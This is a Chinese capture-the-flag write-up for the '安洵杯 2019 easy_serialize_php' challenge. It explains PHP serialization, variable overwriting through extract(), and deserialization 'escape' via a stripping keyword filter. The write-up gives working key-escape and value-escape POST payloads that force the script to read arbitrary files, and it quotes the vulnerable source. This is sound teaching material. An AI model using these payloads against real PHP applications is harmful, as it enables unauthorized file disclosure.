[安洵杯 2019]easy_serialize_php
[安洵杯 2019]easy_serialize_php
这篇主要知识点:
- 锻炼php代码审计能力和学习
- php反序列化
- 反序列化中的对象逃逸(这个是真的自己对着php在线工具分析了很久,才弄懂。你看完肯定有所收获)
首先明确几个点:
- 序列化后的结果是一串字符串
- 反序列化会解开序列化的字符串生成相应类型的数据
如下代码示例(大佬博客截取):
<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#输出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"
$b = unserialize($a);
var_dump($b);
/*输出如下内容:
array(2) {
["one"]=>
string(4) "flag"
["two"]=>
string(4) "test"
}
*/
序列化的部分:
经过serialize序列化后生成了相应的字符串: a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}
a表示数组 , a:2中的2表示有两个键值,即对应的one、two两组键值对。
花括号中的s都表示string即字符串,
s:后面的值分别是3、4、3、4,即对应的字符串长度,比如one长度是三,flag长度是4
反序列化的部分:
unserialize函数将字符串解序列化,我们用var_dump函数显示了他的详细信息。
可见解序列化后由变量$b,接收了img数组。
序列化中每个字母的表示:
a | array数组 |
---|---|
b | boolean判断类型 |
d | double浮点数 |
i | integer整数型 |
o | common object 一般的对象 |
r | reference引用类型 |
s | string字符串类型 |
C | custom object |
O | class |
N | null |
R | pointer reference |
U | unicode string |
现在我们进入试题地址,打开之后出现一段源码:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
我们大概看了一下,发现了这样一段代码:
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
这个$function就是$function = @$_GET['f']; 从url中 f 输入的变量
意思是如果 $function == 'phpinfo' ,我们就可以执行下面的语句查看phpinfo()
我们尝试访问phpinfo页面:
index.php?f=phpinfo
会发现这里有一个d0g3_flag.php文件,我们需要的flag应该就在里面,所以我们接下来需要读取这个文件就行。
我把接下来用到的代码放到了这里:
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
/*
我们发现unset函数将$_SESSION变量销毁了,然后重新赋予了$_SESSION新的值,
最后调用了extract($_POST);
*/
extract() 函数从数组中将变量导入到当前的符号表。
参考链接:https://www.w3school.com.cn/php/func_array_extract.asp
- 举例extract()变量覆盖:
根据extract()我们可以进行变量覆盖,
当我们传入SESSION[flag]=123时,$SESSION["user"]和$SESSION['function'] 全部会消失。
只剩下_SESSION[flag]=123。
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
我们接着往下看:
知道了变量符改,我们可以干什么呢,往下看叭。
由于有了如下的代码,我们直接进行变量覆盖,直接给$SESSION['img']一个预想的值是不现实的,
因为$SESSION['img'] = base64_encode('guest_img.png')是在extract($_POST);这个函数之后执行的。
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
所以我们看看另一个方向:fileter函数
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
#这部分代码就是将参数$img里面的跟上面数组里的字符串替换成空'',然后返回替换之后的字符串
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
后面看看大佬的WP:
大佬们都用的是键值对逃逸
这里我介绍一下php反序列化的对象逃逸
任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能产生漏洞。
过滤函数分为两种情况:
第一种为关键词数增加
例如: where->hacker,这样词数由五个增加到6个。
第二种为关键词数减少
例如:直接过滤掉一些关键词,例如这道题目中。
过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字
那么我们有两种方法:
键逃逸和值逃逸:
第一种为关键词数增加
例如: where->hacker,这样词数由五个增加到6个。
第二种为关键词数减少
例如:直接过滤掉一些关键词,例如这道题目中。
过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字
那么我们有两种方法:
键逃逸和值逃逸
原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:"name",那s:4就必须有一个字符串长 度是4的否则就往后要。
并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。
示例:
<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));
# ";s:3:\"真的垃圾img\";lajilaji";"这些会被扔掉
我们有了这个逃逸概念的话,就大概可以理解了。如果我们把
$_SESSION['img'] = base64_encode('guest_img.png');这段代码的img属性放到花括号外边去,
然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。
那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成 空。
键逃逸payload:
这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我来解释一下这个payload
我们知道_SESSION这个数组里面目前是有两个字符串的,一个是我们通过POST方式传上去的'phpflag',还有一个就是'img'
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
/* 这段代码会判断我们通过GET方式传入的变量是不是有'img_path'这个字符串,如果没有就会执行语句将'guest_img.png'这个字符串经过base64加密存入$_SESSION['img']里面,毫无疑问我们通过GET上传的f=show_image,因为我们要进入一下代码执行反序列化函数啊!*/
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
_SESSION这个数组目前是这样的:
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
#一个我们通过POST方式传上去,一个代码内部自动添加的
然后我们看看$_SESSION接下来会怎么执行语句:
$serialize_info = filter(serialize($_SESSION));
/*首先会先将$_SESSION序列化之后经过filter函数
filter函数会将phpflag替换成'',然后返回结果赋值给$serialize_info
接下来我们看看$serialize_info变量去哪了
*/
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
/*没错到了这里,先将$serialize_info反序列化赋值给$userinfo,然后去$userinfo里面’img'键对应的值就是d0g3_f1ag.php。
这里我附上代码运行过程:
<?php
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));
echo PHP_EOL;
$serialize_info="a:2:{s:7:\"\";s:48:\";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$userinfo = unserialize($serialize_info);
echo (base64_decode($userinfo['img']));
?>
#注意:里面的\是为了将"转义。
上面我说明一下$userinfo每个参数对应的什么:
目前里面有两个键值对:
$userinfo['";s:48:'']="1"
$userinfo['img']="ZDBnM19mMWFnLnBocA=="
/*
ZDBnM19mMWFnLnBocA==经过base64解码之后就是d0g3_f1ag.php
就是 ";s:48:-->1
img -->ZDBnM19mMWFnLnBocA==
";s:48:正好是7个字符串,对应上面$serialize_info里面那个7,7代表后面字 符串长度为7
*/
运行结果:
string(114) "a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
d0g3_f1ag.php
运行截图:
我们通过echo (base64_decode($userinfo['img']));这一步得到了d0g3_f1ag.php
然后就会通过echo file_get_contents(base64_decode($userinfo['img']));这个函数将d0g3_f1ag.php里面内容读取。
d0g3_f1ag.php这个里面的内容就是这样一段代码:
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
然后我们将d0g3_fllllllag经过base64加密L2QwZzNfZmxsbGxsbGFn正好也是20位,直接替换上面的就好。
得到flag:
上面是通过键逃逸的方式,好像还有一种值逃逸的绕过方法,这里我就不做演示了,附上payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
写这个加上自己去网上测试payload,一句一句的分析,还是弄了蛮久的,希望能帮到大家!
太菜了太菜了!!!